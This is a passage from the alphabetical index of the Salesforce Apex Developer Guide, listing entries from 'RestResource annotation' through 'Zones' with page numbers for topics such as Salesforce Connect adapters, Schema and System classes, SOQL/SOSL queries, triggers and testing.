RestResource annotation 94
retrieveCode call 595
Role hierarchy 186
rollback method 135
Rounding modes 2246
RowCause field values 187
runAs method
package versions 602
using 573, 602
runTests call 571, 2761
S
Salesforce Connect
adapters 385
overview 384
Salesforce Connect custom adapter
about 386
aggregation 399
authentication 395
callouts 396
considerations 403
develop 383
example, Google Books 409
example, Google Drive 404
example, loopback 415
examples 403
External ID field, external object 395
filters 400
filters, compound 401
filters, evaluating 401
getting started 387
2827
Index
Salesforce Connect custom adapter (continued)
key concepts 394
named credentials 396
OAuth 396
paging 397
queryMore 398
queryMore, client-driven paging 399
queryMore, server-driven paging 398
sample DataSource.Connection class 388
sample DataSource.Provider class 392
setting up 394
Salesforce Identity 288
Salesforce Knowledge
suggest 380
Salesforce version 106
SalesforceInbox
ConnectApi.SalesforceInbox 1387
Sample application
code 2773
data model 2770
overview 2770
tutorial 2770
Sandbox organizations, deploying Apex 591
Schedulable interface 235
Schedule Apex 234
Scheduler
best practices 240
schedulable interface 235
testing 236
Schema
namespace 2019
Schema methods
namespace prefixes 103
Schema namespace prefix 103
Schema.ChildRelationship
class 2020
Schema.DataCategory
class 2022
Schema.DataCategoryGroupSobjectTypePair
class 2023
Schema.DescribeColorResult
class 2026
Schema.DescribeDataCategoryGroupResult
class 2027
Schema.DescribeDataCategoryGroupStructureResult
class 2030
Schema.DescribeFieldResult
class 2032
Schema.DescribeIconResult
class 2047
Schema.DescribeSObjectResult
class 2050
Schema.DescribeTabResult
class 2059
Schema.DescribeTabSetResult
class 2062
Schema.DisplayType
enum 2065
Schema.FieldSet
class 2066
Schema.FieldSetMember
class 2070
Schema.PicklistEntry
class 2072
Schema.RecordTypeInfo
class 2074
Schema.SOAPType
enum 2076
Schema.SObjectField
class 2077
Schema.sObjectType
class 2078
Search
namespace 2080
Search.KnowledgeSuggestionFilter
classes 2081
Search.QuestionSuggestionFilter
classes 2086
Search.SearchResult
classes 2089
Search.SearchResults
classes 2091
Search.SuggestionOption
classes 2092
Search.SuggestionResult
classes 2094
Search.SuggestionResults
classes 2094
SearchPromotionRule 379
Security
and custom API calls 255, 263
certificates 482
class 185
code 199
formulas 201
Visualforce 201
2828
Index
SelectOption
example 2478
instantiation 2477
SendEmailError
class 1835
SendEmailResult
class 1836
Session Cache 366
SessionManagement
classes 724
Set
collection 2483
Set accessors 65
setFixedSearchResults method 575
Sets
iterating 53
iteration for loops 53
understanding 33
with sObjects 163
setSavepoint method 135
Severity, messages 625
Sharing
access levels 188
and custom API calls 255, 263
Apex managed 186
reason field values 187
recalculating 194
rules 186
understanding 186
Sharing reasons
database object 1685
recalculating 194
understanding 189
SingleEmailMessage
class 1823, 1837
Site
namespace 2095
Site class 431
size trigger variable 212
SOAP and overloading 257
SOAP API calls
compileAndTest 592, 597
compileClasses 597
compileTriggers 597
custom 254
executeAnonymous 209
retrieveCode 595
runTests 571
transaction control 135
SOAP API calls (continued)
when to use 3
SOAP API objects
ApexTestQueueItem 572
ApexTestResult 572
sObject
Class 2514
sObjects
access all 172
accessing fields through relationships 146
data types 27, 112
dereferencing fields 145
describe result methods 2050
describe results 167
expressions 162
fields 113
formula fields 145
lists 157
mixed DML in test methods 138
sorting 159
that cannot be used together 136
that do not support DML operations 139
tokens 167
validating 114
SOQL injection 178
SOQL queries
aggregate functions 148
Apex variables in 153
dynamic 177
execution limits 274
expressions 39
for loops 143, 155
foreign key 147
inline, locking rows for 143
large result lists 148
limit methods 2339
locking 143
null values 151
parent-child relationship 147
Polymorphic relationships 152
preventing injection 178
querying all records 155
understanding 144
working with results 145
Sorting
lists 32
SOSL injection 179
SOSL queries
Apex variables in 153
2829
Index
SOSL queries (continued)
dynamic 178
execution limits 274
expressions 39
limit methods 2339
preventing injection 179
testing 575
understanding 144
working with results 145
Special characters 27
SSL authentication 482
StandardController
example 629
StandardController class
instantiation 628
StandardSetController
example 634
StandardSetController class
instantiation 634
Start and stop test 575
Statements
assignment 46
execution limits 274
if-else 50
locking 143
method invoking 57
Static
initialization code 61
methods 61
variables 61
StaticResourceCalloutMock
testing callouts 477
String
primitive data type 2535
Strings
data type 27
super keyword 77
Support
namespace 2098, 2708, 2711
Support Classes 438
Support.EmailTemplateSelector
interface 2098
Support.MilestoneTriggerTimeCalculator
Interface 2100
Syntax
case sensitivity 38
comments 46
variables 37
System
namespace 2102
System architecture, Apex 4
System Log console
using 527
System methods
namespace prefixes 102
system mode 359
System namespace prefix 102
System validation 219
system.Address
classes 2107
System.Answers
class 2112
System.ApexPages
class 2114
System.Approval
class 2116
System.BusinessHours
class 2132
System.Cases
class 2136
System.Comparable
interface 2136
System.Comparable Interface
compareTo method 2136
System.Continuation
classes 2139
System.Cookie
class 2143
System.Crypto
class 2147
System.Database
class 2170
System.EncodingUtil
class 2262
System.FlexQueue
classes 2269
System.Http
class 2272
System.HttpCalloutMock
interface 2273
System.HttpCalloutMock Interface
respond method 2273
System.HttpRequest
class 2274
System.HttpResponse
class 2284
2830
Index
System.Ideas
class 2296
System.InstallHandler
interface 2301
System.InstallHandler interface
onInstall method 2301
System.JSON
class 2306
System.JSONGenerator
class 2312
System.JSONParser
class 2326
System.JSONToken
enum 2339
System.Limits
class 2339
system.Location
classes 2365
System.Matcher
class 2382
System.Matcher methods
See also Pattern methods 2382
System.Math
class 2394
System.Messaging
class 2420
System.MultiStaticResourceCalloutMock
class 2425
System.Network
class 2427
System.PageReference
class 2432
System.Pattern
class 2441
System.Queueable
interface 2445
System.QueueableContext
interface 2447
System.RemoteObjectController
class 2452
System.ResetPasswordResult
class 2455
System.RestContext
class 2456
System.RestRequest
class 2457
System.RestResponse
class 2463
System.SandboxPostCopy
interfaces 2467
System.Schedulable
interface 2468
System.SchedulableContext
interface 2469
System.Schema
class 2470
System.Search
class 2474
System.SelectOption
class 2477
System.Site
class 2494
System.StaticResourceCalloutMock
class 2533
System.StubProvider
interfaces 2609
System.System
class 2611
System.Test
class 2632
System.Time
class 2645
System.TimeZone
class 2650
System.Trigger
class 2653
System.Type
class 2656, 2684
System.UninstallHandler interface
onUninstall method 2661
System.URL
class 2664
System.UserInfo
class 2672
System.Version
class 2680
System.WebServiceMock
interface 2685
System.WebServiceMock Interface
doInvoke method 2685
System.XmlStreamReader
class 2687
System.XmlStreamWriter
class 2701
2831
Index
T
Tasks
define action links 303
define action links in template 306
post action links 303
post action links defined in template 306
Territory Management 2.0 439
Territory2 trigger 439
TerritoryMgmt.OpportunityTerritory2AssignmentFilter
interfaces 2708
Test methods
Visualforce 2632
Test setup methods 568
Testing
best practices 576
callouts 475–477
callouts with DML 481
code coverage 582
example 577
governor limits 575
runAs 573, 602
using start and stop test 575
what to test 557
testMethod keyword 558
Tests
common utility classes 567
data 563
data access 563
for SOSL queries 575
isTest annotation 88
running 569
test data 565, 586
TestVisible annotation 561
understanding 556–557
testSetup annotation 568
TestSetup annotation 92
TestVisible annotation 93
this keyword 78
Throw statements 544
Time
data type 27
Tokens
fields 168
reserved 2782
sObjects 167
Tools 592
Traditional for loops 52
Transaction control statements
triggers and 212
Transaction control statements (continued)
understanding 135
Transactions 272–273
transient keyword 79
Transparent bounds 518
Trigger
step by step walkthrough 19–22, 24
Trigger-ignoring operations 221
Triggers
API version 106
bulk exception handling 140
bulk processing 211
bulk queries 215
Chatter 224
Chatter messages 360
common idioms 215
context variable considerations 214
context variables 212
defining 217
design pattern 226
entity and field considerations 222
events 212
exceptions 226
execution order 219
feed items 363
ignored operations 221
isValid flag 217
maps and sets, using 215
merge events and 218
recovered records 219
syntax 212
transaction control 135
transaction control statements 212
undelete 219
understanding 210
unique fields 215
Try-catch-finally statements 544
Tutorial 19, 2770
TxnSecurity.Event
classes 2712
TxnSecurity.PolicyCondition
interfaces 2716
Type resolution 105
Types
Primitive 27
sObject 112
understanding 27
Typographical conventions 2790
2832
Index
U
Undelete database method 609
Undelete statement 609
Undelete triggers 219
Unit tests
for SOSL queries 575
running 569
understanding 558
Unlimited Edition, deploying Apex 591
Update database method 607
Update statement 607
Upsert database method 607
Upsert statement 607
UrlRewriter
interface 2096
User managed sharing 186
User-defined methods, Apex 57
UserProfiles
ConnectApi.UserProfiles 1422
UserProvisioning 2722
UserProvisioning.ConnectorTestUtil
classes 2722
UserProvisioning.UserProvisioningLog
classes 2724
UserProvisioning.UserProvisioningPlugin
class 2726
UserTerritory2Association trigger 439
V
Validating sObject and field names 114
Validation, system 219
Variables
access modifiers 61
declaring 37
in SOQL and SOSL queries 153
instance 61
local 61
precedence 104
static 61
trigger context 212
using with classes 56
Version settings
API version 106
package versions 107
understanding 105
Very large SOQL queries 148
Virtual definition modifier 56
Visual Workflow
accessing flow variables 441
VisualEditor
namespace 2731
VisualEditor.DataRow
classes 2731
VisualEditor.DynamicPickList
classes 2734
VisualEditor.DynamicPickListRows
classes 2737
Visualforce
ApexPages methods 2114
message severity 625
pages 269
RemoteObjectController methods 2452
security tips 199
when to use 3
W
Walk-through, sample application 2770
Web services API calls
available for Apex 2743
compileAndTest 2754
compileClasses 2758
compileTriggers 2759
executeanonymous 2760
runTests 2761
WebService methods
considerations 255
exposing data 255
overloading 257
understanding 254
Where clause, SOQL query 153
While loops 51
Wildcards 357
with sharing keywords 80, 359
without sharing keywords 80, 359
Workflow 219
Writable external objects
about 387
Writing Apex 12–13
WSDLs
creating an Apex class from 461
debugging 473
example 466
generating 254
mapping headers 473
overloading 257
runtime events 473
testing 469
testing and DML 471
2833
Index
X
XML reader methods 2687
XML Support
reading using streams 506
using streams 506, 509
XML Support (continued)
using the DOM 510
XML writer methods 2701
Z
Zones 294
2834
Index

Navigation menu